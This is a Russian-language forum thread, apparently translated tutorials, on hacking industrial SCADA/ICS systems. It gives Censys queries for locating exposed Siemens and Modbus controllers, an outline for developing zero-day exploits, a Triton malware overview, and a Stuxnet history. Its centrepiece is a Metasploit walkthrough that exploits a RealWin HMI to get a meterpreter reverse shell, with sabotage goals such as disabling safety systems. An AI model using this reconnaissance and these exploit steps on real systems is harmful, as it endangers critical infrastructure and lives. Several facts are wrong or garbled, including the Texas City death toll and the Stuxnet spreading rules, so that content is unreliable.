Взлом SCADA: ключевые различия между безопасностью SCADA и традиционных ИТ-систем

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Для тех, кто имеет опыт работы в традиционных ИТ-системах или сфере ИТ-безопасности, безопасность систем SCADA/ICS может оказаться непростой задачей. Многие технологии, подходы и подходы традиционных ИТ-систем неприменимы к системам SCADA/ICS. В этой краткой статье я хотел бы перечислить и подробно рассмотреть лишь некоторые из наиболее важных различий между традиционными ИТ-системами и системами SCADA/ICS.

6a4a49_3530a97ec5c4486b9209f662ef6fe72e~mv2.jpg


Защита данных против защиты процесса

При защите традиционных IT-систем мы, как правило, стремимся защитить данные. К ним относятся интеллектуальная собственность (ИС), номера кредитных карт, адреса электронной почты и персональные данные (PII). Мы стремимся не допустить, чтобы хакеры получили доступ к этой конфиденциальной информации.

Это резко контрастирует с системами SCADA/ICS, где основное внимание уделяется защите процесса . Системы SCADA/ICS зависят от непрерывной обработки данных. В некоторых случаях, если один из таких объектов выходит из строя, его перезапуск может занять несколько недель или месяцев, что обходится владельцу в миллионы долларов простоя.

Кроме того, в таких системах SCADA/ICS, как электрогенерация, передача электроэнергии, водоснабжение и очистка сточных вод и т.д., отключение может привести к серьёзным последствиям. Представьте себе внезапный отказ водоочистной станции или отказ системы электропередачи. Авария может быть очень серьёзной и опасной для жизни, что подчёркивает необходимость защиты процесса .

Наконец, иногда неисправность одного клапана или датчика на этих заводах может привести к сбою всего завода. В 2005 году нефтеперерабатывающий завод в Техас-Сити взорвался из-за неисправности одного предохранительного клапана, что привело к гибели 50 человек и миллиардам долларов для компании British Petroleum, владельца завода.

Важно ещё раз подчеркнуть это ключевое различие: в системах SCADA мы защищаем процесс, тогда как в традиционных ИТ-системах — данные.

Технологии

В традиционных ИТ-системах мы привыкли работать с набором протоколов TCP/IP. К ним относятся TCP, IP, UDP, DNS, DHCP и др. Большинство систем SCADA/ICS используют один из более чем 100 протоколов, обычно с последовательным интерфейсом, а также некоторые проприетарные протоколы. Наиболее популярными из них являются Modbus , DNP3 , PROFINET/PROFIBUS , OPC и некоторые другие.

6a4a49_867dc30ba6e84defa034dec7341b7e48~mv2.png


Более того, большинство систем SCADA/ICS используют программируемые логические контроллеры (ПЛК). Эти ПЛК используются практически во всех типах промышленных систем управления, будь то производство, нефтепереработка, передача электроэнергии, очистка воды и т.д. Как правило, такие ПЛК не встречаются в традиционных IT-системах. Эти ПЛК представляют собой небольшие компьютерные системы, использующие релейную логику для управления датчиками, исполнительными механизмами, клапанами, сигнализациями и другими устройствами. Взлом систем SCADA/ICS часто требует знания программирования этих ПЛК.

6a4a49_eff0c335abdf467987af94fb5dd5a78c~mv2.jpg


Требования к доступности

Хотя доступность (CIA) является ключевым компонентом традиционной ИТ-безопасности, системы SCADA/ICS выводят её на новый уровень. Как упоминалось выше, в системах SCADA/ICS мы защищаем процесс, а не данные. Это означает, что зачастую возможность установки исправлений и перезагрузки системы может быть НЕВОЗМОЖНА, за исключением отдельных случаев, например, ежегодных или ежеквартальных остановок на техническое обслуживание. Это может означать, что операционная система и приложения могут оставаться без исправлений с известными уязвимостями в течение месяцев, а то и лет. Инженеру SCADA/ICS часто приходится прибегать к компенсирующим средствам контроля для предотвращения вторжений, тогда как традиционный инженер по ИТ-безопасности мог бы реализовать превентивный контроль, такой как установка исправлений.

Доступ к компонентам

За некоторыми исключениями, в традиционной сфере ИТ-безопасности инженер по безопасности имеет прямой физический доступ к компонентам системы. В системах SCADA/ICS компоненты системы могут быть разнесены на сотни или тысячи миль (например, трубопроводы, электросети и т.д.). Это может усложнить реализацию мер безопасности и сделать физическую безопасность ещё более важной. Удалённые полевые станции могут стать точкой входа для хакера во всю систему SCADA/ICS.

6a4a49_e3fe72499cf74933a35d743714cfcb20~mv2.jpg


Безопасность через неизвестность

За последние 20 лет практически все системы SCADA/ICS были подключены к внешнему миру по протоколу TCP/IP. Хотя внутренняя связь может по-прежнему осуществляться последовательно, обычно эти системы имеют соединение, позволяющее инженерам и администраторам удалённо контролировать их работу (конечно, есть исключения. Некоторые плотины и другие системы общественной инфраструктуры были отключены для защиты от атак).

6a4a49_bb3e68b3fafb43b4903751ff45f7b7f1~mv2.jpg


Годами эти системы пользовались защитой через незаметность. Другими словами, они были безопасны, потому что мало кто знал об их существовании, и ещё меньше людей понимали их технологии. В результате эти системы часто не реализовывали даже самых элементарных мер безопасности (это наглядно продемонстрировал OTW в 2016 году, когда он проник в систему автоматизации зданий Schneider Electric без специальных инструментов).

С появлением таких инструментов, как Shodan и других средств разведки, эти системы больше не могут полагаться на защиту через скрытность. Отрасль только начинает внедрять умеренные меры безопасности. Конечно, одна из проблем отрасли заключается в том, что многие готовые продукты безопасности не работают с их фирменными протоколами. В некоторых случаях для защиты этих систем приходится разрабатывать индивидуальные межсетевые экраны и системы обнаружения вторжений (IDS).

6a4a49_43c2f5f04f454ddb8bb093da9431e552~mv2.jpg
 
Добро пожаловать обратно, мой начинающий инженер по безопасности SCADA!

Как вы знаете, системы SCADA/ICS по всему миру подвергаются атакам. Эти промышленные системы составляют инфраструктуру экономики любой страны и являются главными целями любой кибервойны. В такой войне эти системы можно легко обнаружить с помощью различных инструментов, таких как:

  1. Взлом Google
  2. сканирования и скрипты nmap
  3. Шодан
В этом уроке я продемонстрирую еще один превосходный источник для поиска в Интернете промышленных систем — Censys.

6a4a49_be408d58707548698782a6bc3d167481~mv2.jpg


Обзор Censys можно найти в моем руководстве здесь .

Censys для SCADA/ICS

Censys использует эвристические методы для категоризации хостов по «тегам». Эти теги просто представляют хосты со схожей «эвристикой». Эвристика может быть выражена примерно так: «Если что-то ходит как утка и крякает как утка, то с ОЧЕНЬ высокой вероятностью это утка!»

Но, как мы знаем, подобные эвристические системы подвержены некоторым ошибкам. Считайте эти результаты не совсем детерминированными, но с высокой вероятностью верными.

На рисунке ниже представлен список наиболее часто встречающихся «тегов», которые Censys идентифицирует в Интернете.

6a4a49_918b5ba077774c1ea9a5985ab255f214~mv2.png
Мы можем использовать эти теги для поиска систем, которые «квакают» как SCADA-системы. SCADA-системы настолько сильно отличаются от других систем, что при сканировании с помощью Zmap или Nmap вероятность того, что они являются SCADA-системами, очень высока.
6a4a49_9e9a4d4517ad4f65915bd928e4eb83ce~mv2.png


Мы можем сузить наш поиск, используя множество вариантов, но если бы мы искали системы SCADA, в которых ПЛК были бы произведены немецким промышленным гигантом Siemens (их ПЛК стали целью атаки Stuxnet на Иран), мы могли бы создать такой поиск:

теги:scada и метаданные.производитель:siemens

6a4a49_b281cd2ee2594e58a72254e1512c9f7c~mv2.png


Мы можем еще больше сузить наш поиск до тех, которые находятся в определенной стране, например, в Германии, используя логическое И, а затем добавив дополнительное условие location.country_code и задав ему значение DE (Германия) .

теги:scada и метаданные.производитель:siemens и местоположение.код_страны:DE

6a4a49_5949a705258c48a2a5a96e61bb839899~mv2.png


Повышение

Одна из функций Censys, которая мне больше всего нравится, — это концепция «усиления». Это удобно, если у вас есть два поля, одно из которых гораздо важнее другого. Логическое «И» обычно придаёт обоим параметрам одинаковый вес. Таким образом, можно обозначить, что одно поле важнее другого. Более того, это усиление можно взвешивать.

Например, если бы я искал системы с протоколом Modbus и у меня был тег «SCADA», я бы, вероятно, придал большее значение протоколу Modbus и меньшее — тегу SCADA от Censys. Помните, что тег формируется эвристикой и не всегда будет верным.

Мы могли бы передать Censys эту невзвешенную важность, добавив «^» и число, регистрирующее вес, который вы хотите придать этому полю.

теги: scada и протоколы: «502/modbus»^3

6a4a49_fe6df0e16b64484b9c9f8cb635bd64f9~mv2.png


Как видно из приведенных выше результатов, нам удалось извлечь информацию о сайтах, помеченных как SCADA И использующих протокол Modbus с большим акцентом на «modbus».

Краткое содержание

Мы можем найти системы SCADA/ICS, подключенные к Интернету с помощью различных инструментов, таких как Shodan и nmap, но Censys может дополнить эти данные данными, поступающими почти в реальном времени из самых разных областей, собранными с помощью Zmap .

Я считаю, что Censys выводит нас на новый уровень понимания поверхности атаки практически любой системы на планете практически в режиме реального времени. Это делает Censys невероятно мощным инструментом для мониторинга ландшафта угроз
вашей компании и геополитического ландшафта кибервойны.
 
Уязвимость нулевого дня (также известная как уязвимость нулевого часа или 0-day) — это нераскрытая уязвимость компьютерного приложения, которая может быть использована для нанесения ущерба компьютерным программам, данным, другим компьютерам или сети. Она называется «уязвимостью нулевого дня», поскольку после того, как уязвимость становится известна, у разработчика приложения нет ни одного дня на планирование и разработку мер по её защите от её эксплуатации (например, путём предложения обходных путей или выпуска исправлений). Атаки с использованием эксплойтов нулевого дня часто предпринимаются до или в день публикации уведомления об уязвимости; иногда до того, как автор узнает об уязвимости или разработает и предоставит исправленный код. Атаки нулевого дня представляют серьёзную угрозу.
Для печати, в формате PDF и по электронной почте
Как «белые хакеры» , мы, в конечном счёте, хотим иметь возможность разрабатывать эксплойты для систем SCADA/ICS. Таким образом, мы можем обнаруживать уязвимости и эксплойты раньше, чем это сделают «чёрные хакеры», и устранять их до того, как ими воспользуются злоумышленники. В этой статье я хочу дать вам базовое описание процесса разработки эксплойта нулевого дня для систем SCADA/ICS.

6a4a49_a9d40410aabf4a0db423b8d7a5625f85~mv2.jpg


Разработка эксплойта нулевого дня для систем SCADA/ICS существенно отличается от разработки для систем Windows. Ключевое отличие заключается в неоднородности систем SCADA/ICS. Другими словами, существует множество протоколов, множество поставщиков и множество конфигураций оборудования. Эта неоднородность может значительно упростить разработку эксплойта в одних случаях, а в других — значительно усложнить.

Надеюсь, само собой разумеется, что перед разработкой эксплойтов необходимо понимать принципы работы систем SCADA/ICS. Перед тем, как приступить к разработке эксплойтов для SCADA, обязательно изучите всю мою серию статей о взломе SCADA .

Существует пять основных шагов для разработки эксплойта нулевого дня в системах SCADA/ICS.

1. Выберите свою цель

6a4a49_f0023b5aba094a60b6502bee3d191185~mv2.png


В отличие от типичных компьютерных систем и сетей, при разработке эксплойта для SCADA/ICS-системы необходимо сначала определиться с целью. Учитывая десятки протоколов и поставщиков, необходимо сначала определить, что именно является вашей целью . Это может быть протокол, например MODBUS, конкретный ПЛК, например, Seimens S7-1200, или конкретная отрасль, например, нефтепроводная.

Если вы выберете конкретную отрасль, вам потребуется провести дополнительное исследование того, какие системы, протоколы и ПЛК используются в этой отрасли. Например, если вы ориентируетесь на нефтепроводную отрасль , вам необходимо будет провести исследование и убедиться, что ПЛК Honeywell, использующие протокол PROFIBUS, являются одними из самых популярных в этой отрасли. Зная это, вам потребуется изучить всю имеющуюся информацию об этой системе, что подводит нас к шагу 2.

2. Изучите и изучите документацию объекта .

После выбора целевой системы следует изучить её документацию. В большинстве случаев производитель публикует её онлайн в формате PDF, чтобы предоставить разработчикам и клиентам необходимую информацию. Эта документация поможет вам понять, для чего предназначена система . Она может стать ценным источником информации о ключевых уязвимостях и их разработке.

Например, если вы разрабатываете эксплойт для вездесущего Siemens S7-1200, компания Seimens предоставляет нам обширную документацию на своём сайте. Это 864-страничное руководство содержит подробную информацию о внутренней работе этого распространённого ПЛК. Внимательно изучите его, чтобы найти подсказки об уязвимостях этой системы, особенно в разделах «Конфигурация устройства», «Базовые и расширенные инструкции», «Связь» и «Веб-сервер». Практически все производители предоставляют аналогичные подробные руководства по эксплуатации, доступные онлайн.

3. Составьте список и определите приоритеты доступных интерфейсов

В большинстве случаев у объекта атаки будет как минимум один интерфейс, используемый для связи и управления системой. Эти интерфейсы могут представлять собой TCP-сокет, датчик, USB-порт или любой другой способ входа и выхода информации из системы. В некоторых редких случаях объект атаки может быть полностью отключен, что затрудняет, но не исключает его (вспомним, что иранский завод по обогащению урана в Натанзе, целью Stuxnet, был отключен). Пока же сосредоточимся на объектах с доступным интерфейсом.

Большинство объектов SCADA/ICS оснащены человеко-машинным интерфейсом (HMI) для мониторинга и управления объектом, а также архиватором данных для архивации информации о системе. Оба эти устройства обычно взаимодействуют через TCP-сокет и могут служить точкой входа в систему SCADA.

4. Проанализируйте и протестируйте каждый интерфейс

Получив список и приоритет для каждого интерфейса, мы можем приступить к этапу анализа и тестирования. Это ключевой этап разработки эксплойта и, вероятно, самый трудоёмкий.

У нас есть как минимум три способа подойти к этому процессу, и они требуют определённых навыков высокого уровня. Вот некоторые из них:

1. Фаззинг

2. Статический бинарный анализ

3. Динамический бинарный анализ


Подробное описание каждого из этих процессов выходит за рамки данной статьи, но я постараюсь дать их краткое изложение ниже.

Фаззинг

Фаззинг — это процесс подачи больших объёмов случайных данных в интерфейс и наблюдения за результатами. Обычно этот процесс автоматизирован и выполняется с помощью приложения для фаззинга, например, Powerfuzzer, Peach, Aegis или Defensics.

Идея здесь заключается в попытке взлома приложения или системы с помощью этих случайных данных. Если нам удастся найти строку, которая нарушает работу приложения или системы, мы, возможно, на пути к уязвимости. Очевидно, что строка, которая нарушает работу системы, потенциально может быть использована для DoS-атаки и может привести к другим уязвимостям. В конечном счёте, мы надеемся, что она может привести к переполнению буфера, которое можно будет эксплуатировать для запуска нашего удалённого кода.

Статический двоичный анализ

Как следует из названия, статический двоичный анализ предполагает открытие и анализ двоичных файлов без запуска кода. Таким образом, мы можем получить некоторое представление о том, что на самом деле делает код. Обычно для этого требуется дизассемблер, такой как IDA Pro . IDA Pro является стандартом для дизассемблирования в этом типе анализа (см. мою следующую серию статей об обратной разработке и разработке эксплойтов с использованием IDA Pro).

6a4a49_0d557af095a54db1b6e23b91e4ce4f70~mv2.png


Динамический двоичный анализ

Иногда нам нужно запустить код, чтобы понять, что он делает. Именно здесь на помощь приходит динамический двоичный анализ. В статическом двоичном анализе мы используем дизассемблер, такой как IDA Pro. В динамическом двоичном анализе нам нужен инструмент, который позволяет запустить код и остановить его в точках останова, чтобы проанализировать, какие инструкции выполняются и что находится в различных областях памяти. Эти инструменты называются отладчиками. Такие инструменты, как IDA Python и Immunity, являются отличными отладчиками.

Эти инструменты позволят вам запустить код, прерывая его в ключевых точках для изучения и анализа ассемблерного кода, а затем изучить содержимое ключевых областей памяти. Зачастую в ходе этого процесса мы можем обнаружить ошибки в коде, которые позволят нам взломать систему.

5. Использовать уязвимости

6a4a49_d53ffeea3b70463d96fbb2a5d84112ee~mv2.jpg


Надеемся, после проведения этого анализа вы обнаружили хотя бы одну уязвимость в коде или системе. Иногда эти уязвимости включают запуск фрагмента кода, останавливающего ПЛК (DoS-атака), или удалённый запуск кода на целевой системе, позволяющий вам получить контроль над системой. Многие из этих систем имеют жёстко запрограммированные пароли, обнаружение которых позволит вам получить контроль над ними. Их часто можно найти в документации, описанной в шаге 2, или в моём списке паролей SCADA по умолчанию .

Надеюсь, теперь у вас есть базовая основа для разработки эксплойта нулевого дня для SCADA. В январе я начну серию обучающих материалов по реверс-инжинирингу, где мы научимся проводить статический и динамический двоичный анализ с помощью IDA Pro и Immunity для разработки эксплойтов. Так что, мои начинающие хакеры, возвращайтесь, чтобы освоить самый важный навык XXI века — хакерство!
 
Добро пожаловать обратно, мои начинающие кибервоины SCADA!

Инфраструктура SCADA/ICS находится под постоянной угрозой. Эти системы критически важны для экономического благополучия и благополучия любой страны и являются главной целью любой кибервойны. К таким системам относятся электросети, системы водоотведения, обрабатывающая промышленность, нефтехимическая и химическая переработка, а также практически любой промышленный процесс. Если противнику удастся вывести эти системы из строя, это может иметь разрушительные последствия для экономики страны и её способности защищаться от противников.

6a4a49_e64c090846204a4b83f7114ce077e18e~mv2.jpg


Как я отмечал в своих статьях о Stuxnet и BlackEnergy3 , вредоносное ПО, нацеленное на промышленный сектор, становится всё более изощрённым. Эта последняя угроза промышленной инфраструктуре впервые появилась в декабре 2017 года и получила название Triton или Tritonex. 24 июля 2020 года Агентство национальной безопасности США и Агентство по безопасности критически важной инфраструктуры США (CISA) предупредили об опасности, которую это вредоносное ПО представляет для инфраструктуры всех стран.

Вредоносное ПО использует уязвимость безопасности в Triconex TriStation компании Schneider Electric. Хотя это вредоносное ПО существует с 2017 года, новые уязвимости затрагивают TriStation 1131 версий 1.0.0–4.9.0, 4.10.0 и 4.12.0, работающие в Windows NT, Windows XP или Windows 7, а также модули связи Tricon (TCM) моделей 4351, 4352, 4351A/B и 4352A/B, установленные в системах Tricon версий 10.0–10.5.3.

Критическая ошибка (CVE-2020-7491) представляет собой некорректный контроль доступа: «Устаревшая учётная запись порта отладки в модулях TCM, установленных в системе Tricon версий 10.2.0–10.5.3, видна в сети и может допускать несанкционированный доступ». Разработчики оставили порт отладки в производственных системах, что позволяет злоумышленникам контролировать и загружать собственную логику, управляющую этими ключевыми системами безопасности. Schneider Electric в очередной раз виновна в грубой халатности при разработке этих критически важных продуктов (см. наш опыт использования системы Schneider Electric SAS здесь ).

Что такое Тритон/Триконекс

Triton или Tritonex — вредоносное ПО, впервые обнаруженное на нефтехимическом заводе в Саудовской Аравии в декабре 2017 года. Это вредоносное ПО атакует автоматизированную систему безопасности (SIS) компании Schneider Electric. Эти системы предназначены для защиты людей, промышленных объектов и близлежащих населенных пунктов путем управления или отключения промышленных объектов в случае возникновения опасных условий. По сути, эти системы SIS являются защитой от промышленных катастроф.

Например, представьте себе ситуацию, когда давление в трубопроводе или сосуде становится опасно высоким. Система SIS предназначена для обнаружения такого состояния и активации предохранительных клапанов для устранения опасной ситуации, тем самым предотвращая катастрофу.

ž Triconex — это как название бренда компании Schneider Electric, поставляющей эти продукты, системы и услуги для обеспечения безопасности, критического управления и турбомашиностроения, так и название ее аппаратных устройств, которые используют ее прикладное программное обеспечение TriStation.

По данным Schneider Electric, эти продукты Triconex основаны на запатентованной технологии аварийного отключения с тройным модульным резервированием (TMR). Сегодня продукты Triconex TMR работают более чем в 11 500 установках по всему миру, что делает Triconex крупнейшим поставщиком TMR в мире.

Атрибуция

Хотя атрибуция всегда является сложной задачей, компания FireEye сообщила, что вредоносное ПО, скорее всего, поступило из Центрального научно-исследовательского института химии и механики (ЦНИИХМ), исследовательского учреждения в России.

Злоумышленники получили удалённый доступ к рабочей станции инженеров контроллеров SIS (системы безопасности) и внедрили атакующую платформу TRITON для перепрограммирования контроллеров SIS. Таким образом, контроллеры можно отключить или запрограммировать так, чтобы они пропускали опасные ситуации, на которые они рассчитаны.

6a4a49_1f62b954084243418053afd02bde24d3~mv2.png


Поиск систем Тритона

По всему миру установлено более 11 000 систем Triton SIS, что означает, что они распространены практически во всех странах и на всех типах промышленных объектов. Некоторые из этих объектов легко найти с помощью Censys . Как вы видите ниже, вот объект в штате Канзас (США), использующий эту уязвимую систему SIS.

6a4a49_d5de413bc04b486e9760d9b0e5e6bec2~mv2.png


Краткое содержание

Системы SCADA/ICS являются основной целью любой кибератаки. Stuxnet и Blackenergy3 были эффективными атаками на SCADA/ICS, проводимыми во имя кибервойны. Атака Triton/Triconex, которая в настоящее время атакует критически важную инфраструктуру, — лишь последняя в длинной череде атак на SCADA/ICS. Крайне важно, чтобы специалисты по кибербезопасности понимали и обеспечивали защиту от таких атак. К сожалению, большинство специалистов по кибербезопасности совершенно не осознают угрозы и динамику этих систем. Чтобы узнать больше о кибербезопасности SCADA/ICS, посмотрите нашу серию материалов о взломе SCADA или пройдите обучение по взлому и безопасности SCADA.
 
Добро пожаловать обратно, мои начинающие кибервоины SCADA/ICS!

Давайте начнём с поздравлений за вашу дальновидность и решение изучить вопросы взлома и безопасности SCADA/ICS. Это, безусловно, САМАЯ важная проблема безопасности в этом десятилетии!

В целом взломы SCADA/ICS были двух типов:

  1. Взломать протоколы (modbus, DNP3, Profitnet и т. д.);
  2. Взломать человеко-машинный интерфейс (HMI)
В этом уроке мы продемонстрируем взлом системы HMI с использованием переполнения буфера в программном обеспечении для мониторинга.

Интерфейс «человек -машина »

В большинстве систем SCADA/ICS предусмотрена специализированная система управления и мониторинга промышленной системы. В отрасли её часто называют человеко-машинным интерфейсом (ЧМИ). Эта система критически важна для управления промышленной системой, но также может стать серьёзным инструментом для злоумышленников. Если злоумышленнику удастся взломать ЧМИ, он станет владельцем вашей промышленной сети!

В большинстве случаев HMI находится за пределами корпоративной сети, как показано ниже. К сожалению, в некоторых случаях HMI находится внутри корпоративной сети, что делает его уязвимым для злоумышленника, скомпрометировавшего корпоративную сеть ( см. атаку BlackEnergy3 ).

6a4a49_eedfff9f800b4ffea03d471d0fe1d850~mv2.jpg


Лучшая практика — изолировать HMI от корпоративной сети (см. модель топологии Purdue ниже).

6a4a49_d86728dd2fd74525af232e8aa39ce19c~mv2.jpg


Эти HMI обычно представляют собой системы на базе Windows со специальным программным обеспечением, установленным для управления и мониторинга всех промышленных систем, аналогичных показанным ниже.

6a4a49_1475d7e5aba14fe78444bdb5cdc0c0fb~mv2.jpg


Это программное обеспечение SCADA/HMI так же подвержено уязвимостям, как и любое программное обеспечение Windows.

В этом руководстве мы будем эксплуатировать уязвимую систему HMI, используя переполнение буфера в программном обеспечении HMI. Получив контроль над системой HMI, мы владеем всей промышленной сетью, и тогда могут быть выполнены неизвестные вредоносные действия, в том числе:

  1. Отключение датчиков и сигнализаций
  2. Повышение температуры и давления
  3. Изменение состава и концентрации химикатов
  4. Изменение логики лестницы
  5. Отключение средств безопасности
Любое из этих изменений в системе может иметь смертельные и серьезные экономические последствия.

Шаг №1: Сервер RealWin

В этой атаке мы будем атаковать систему HMI с помощью RealWin Server. RealWin Server — это продукт DATAC RealWin, ирландской софтверной компании, приобретенной техасской Lufkin Industries.

Демонстрационный сервер RealWin можно загрузить здесь .

Установите его в систему Windows XP. Конечно, это относительно старый эксплойт, но индустрия SCADA/ICS очень медленно обновляет и совершенствует системы в силу специфики своего бизнеса (во многих случаях возможность обновления есть только раз в год). В любом случае, новички в кибербезопасности не осознают, что промышленные системы часто работают на очень старых и устаревших системах по разным причинам (см. Shodan, Поиск устаревших и уязвимых систем ).

После загрузки и установки сервера RealWin щелкните значок на рабочем столе, и откроется интерфейс, подобный показанному ниже.

6a4a49_163bcc7d99704d5186edcd607915add9~mv2.png


Обратите внимание, что это программное обеспечение HMI предназначено для работы в телекоммуникационной, электроэнергетической, нефтегазовой, судостроительной и водохозяйственной отраслях. Если кликнуть на модуль «Электроснабжение», откроется карта объектов в районе Нью-Йорка (конечно, её можно настроить для любого региона).

6a4a49_df5f1c60fb79490ca0cb7912e9d7d6ce~mv2.png


Шаг №2: Откройте Metasploit

Следующий шаг — открыть Metasploit в Kali. Если вы не знакомы с Metasploit, остановитесь здесь и прочитайте мою серию статей о Metasploit, состоящую из нескольких частей, здесь .

Metasploit предлагает большое количество модулей SCADA/ICS. Полный список всех модулей SCADA Metasploit можно найти здесь .

kali > msfconsole

6a4a49_bbb604267afc4235a9a849f5425feb30~mv2.png


Теперь давайте поищем модули realwin HMI.

msf5> поиск realwin

6a4a49_0dd19cb049684cf2bbd524bd9fd302c0~mv2.png


Как видите выше, есть шесть модулей, в названиях которых есть Realwin. Давайте попробуем модуль realwin_scpc_initialize . Его можно загрузить в память, введя:

msf5> используйте exploit/windows/scada/realwin_scpc_initialize

6a4a49_c6f4710b9b0644d9852362cca4d45eee~mv2.png


Чтобы узнать больше об этом модуле, введите «info»

msf5 > информация

6a4a49_27a2be94728d42db89b5f4a205d0e420~mv2.png


Как видно выше, этот модуль по умолчанию использует порт 912 и отправляет «специально созданный пакет» для выполнения произвольного кода в системе. В качестве полезной нагрузки автоматически была выбрана « windows/meterpreter/reverse_tcp ». Оставим значение по умолчанию как есть.

Шаг №3 : Подготовка эксплойта к выполнению

Теперь давайте рассмотрим параметры. В эксплойте их немного, и ещё меньше нужно настроить. Как видно ниже, для этого эксплойта нам нужно всего лишь установить параметры RHOSTS (удалённые хосты) и LHOST (локальный хост).

msf5 > показать параметры

6a4a49_2473cdbf4b5a44059019e0be1d80f2c1~mv2.png


Давайте установим эти переменные с IP-адресом нашей системы HMI (RHOSTS) и нашей системы Kali (LHOST).

6a4a49_fef4bd62254641a2a7db209805285719~mv2.png


Теперь мы готовы использовать этот HMI и, надеемся, взять под контроль весь промышленный объект!

msf5> эксплойт

6a4a49_7329e2990a0b44ec84fa1849eb08a281~mv2.png


Успех! Как видите выше, нам удалось получить приглашение meterpreter в системе HMI. При вводе «sysinfo» была выведена системная информация о системе HMI.

Давайте посмотрим, в каком каталоге системы HMI мы находимся, введя pwd.

meterpreter> pwd

6a4a49_4705b621be734ac68277343e911d29ee~mv2.png


Как видите, мы вошли в HMI через программу мониторинга DATAC Realwin, и представленные данные находятся в каталоге C:PROGR~1DATACReal.Win. Введя «dir», мы увидим все программные файлы этой программы мониторинга.

Краткое содержание

Безопасность SCADA/ICS — важнейшая проблема безопасности этого десятилетия, но мало кто уделяет ей должное внимание. В любом геополитическом противостоянии или конфликте противники непременно нацелятся на системы SCADA/ICS. В прошлом эти системы подвергались взлому как минимум двумя способами: атаками на протоколы или атаками на HMI. В этом руководстве мы продемонстрировали использование переполнения буфера для получения контроля над HMI и, таким образом, над всем промышленным объектом!
 
Изучая взлом и безопасность SCADA/ICS, полезно вспомнить некоторые из самых успешных атак на SCADA/ICS в истории. Это поможет вам понять, как будущие атаки могут попытаться проникнуть в ваши промышленные системы управления.

Среди самых известных и изобретательных атак на SCADA/ICS стала атака «Stuxnet». Это был первый вредоносный код, специально предназначенный для атаки на системы SCADA/ICS. В этой статье мы рассмотрим механизм этой весьма сложной атаки — даже по современным меркам.

6a4a49_1863fa8b7cfb40d9b6f7b046e4ea8a05~mv2.png


Stuxnet — это продвинутая устойчивая угроза (APT), нацеленная на конкретный производственный объект в Натанзе, Иран. Свое необычное название он получил из-за цепочки букв pf , скрытой в его коде (см. окно «Строки» в IDA Pro). На момент обнаружения это был самый сложный из когда-либо обнаруженных вирусов/червей.

Этот очень сложный червь эксплуатировал четыре ранее неизвестные уязвимости нулевого дня в операционной системе Windows. Когда Stuxnet заражал компьютер, первым делом он проверял, подключен ли он к промышленной системе управления, в частности, к ПЛК Siemens Simatic S7. Если компьютер не был подключен, он наносил минимальный вред или вообще не наносил его, продолжая заражать другие системы.

6a4a49_867dc30ba6e84defa034dec7341b7e48~mv2.png
Оглядываясь назад, становится ясно, что Stuxnet был проектом правительств США и Израиля, призванным сорвать иранские усилия по разработке ядерного оружия. В этом плане вирусу определённо удалось задержать эти усилия на много лет (у Ирана до сих пор нет ядерного оружия).

Анатомия Stuxnet

В то время как размер среднего вируса составляет около 10 Кбайт, Stuxnet имел размер более 500 Кбайт!

Хотя вирусы редко содержат хотя бы одну уязвимость нулевого дня, у Stuxnet их было четыре.

Stuxnet также действовал как руткит, скрывая свои действия и свое присутствие.

Это был первый вирус, включающий код для атаки на системы диспетчерского управления и сбора данных (SCADA).

Stuxnet был обнаружен Сергеем Уласеном, старательным и настойчивым специалистом по безопасности, в июне 2010 года. На момент обнаружения Stuxnet он работал в небольшой белорусской антивирусной компании (VirusBlokAda). Один из их клиентов в Иране столкнулся с несколькими сбоями в работе, связанными с BSOD (синим экраном смерти), и обратился к Уласену за помощью в поиске причины.

Его исследование этой проблемы привело к открытию Stuxnet.

Хронология

Целевая среда (предприятие по обогащению урана в Натанзе) должна была представлять собой изолированную сеть. Версия Stuxnet, обнаруженная в июне 2010 года, первоначально распространялась через флеш-накопители. Она содержала файлы *.lnk на флеш-накопителе, которые идентифицировали ссылку на файл (предположительно, значок). Затем эти файлы использовались для ссылки на файл на флеш-накопителе, содержащий вирус.

6a4a49_93d52744503f4a82a556cf5f9ae52543~mv2.jpg
Червь Stuxnet был абсолютно надёжен в целевой среде и не приводил к повреждению памяти. После того, как .lnk-файл выполнил свою задачу по загрузке вируса, он автоматически скрыл .lnk-файл и исходные файлы (эта уязвимость нулевого дня была исправлена с помощью MS10-046).

Съемный диск содержал:

1. 2 файла tmp: имена файлов переменные (∑ mod 10 = 0)

2. WT4132.tmp – основная DLL ~500 КБ

3. WT4141.tmp – загрузчик для основной dll ~25КБ

4 файла .lnk

Для атаки на разные версии Windows (Windows 2000, Windows XP, Windows Server 2003, Vista, Windows 7) требовалось несколько ссылок.

Как размножался червь

Червь был хитроумно разработан так, чтобы заражать только три компьютера, прежде чем стереть себя. Таким образом, он ограничивал обнаружение. Заражённый компьютер затем заражает другой новый съёмный диск только при соблюдении трёх условий:

1. Флешка еще не заражена.

2. Инфекция возникла менее 21 дня назад.

3. На флеш-накопителе должно быть не менее 5 МБ свободного места.

4. На флешке есть как минимум 3 файла.

Переносится с помощью флэш-накопителя

1. Копии для открытия общих папок

6a4a49_b95c094adf904e45814b07610877d958~mv2.jpg


2. Пропущен уязвимый код диспетчера очереди печати (уязвимость нулевого дня — MS 10-061)

3. Обнаружена уязвимость RPC в Conficker (MS-08-067).

4. Создал уязвимую запланированную задачу, затем изменил её и дополнил до тех пор, пока её CRC32 не совпадёт с исходной задачей. (Теперь она будет выполняться планировщиком.)

5. Создает руткит для Vista+

6. Позволяет пользователям загружать различные раскладки клавиатуры. Можно загрузить откуда угодно. Загружайте указатели и переносите их в код.

7. Создает руткит для Windows XP.

Stuxnet использует RPC

Предполагалось, что некоторые машины будут изолированы от сети, но могут иметь доступ к зараженным машинам.

Stuxnet ищет среди 5 программ, которые могут быть заражены (в зависимости от версии ОС, уязвимостей и т. д.)

Каждая зараженная машина ищет другие зараженные машины (с RPC-серверами).

Затем он запрашивает текущую версию вируса (Stuxnet). Если на сервере установлена более старая версия Stuxnet, он отправляет обновление до текущей версии. Примечательно, что Stuxnet использовал коллизию хешей цифрового сертификата Microsoft, чтобы система считала, что обновление исходит непосредственно от Microsoft.

Stuxnet загрузил новую релейную логику в ПЛК Siemens

Ladder Logic — это программа визуализации для поддержки проектирования и разработки программ диспетчерского управления и сбора данных (SCADA). Кроме
того, эта программа включала базу данных для хранения проектов. В этой базе данных был жёстко запрограммированный пароль — бэкдор для входа в систему.

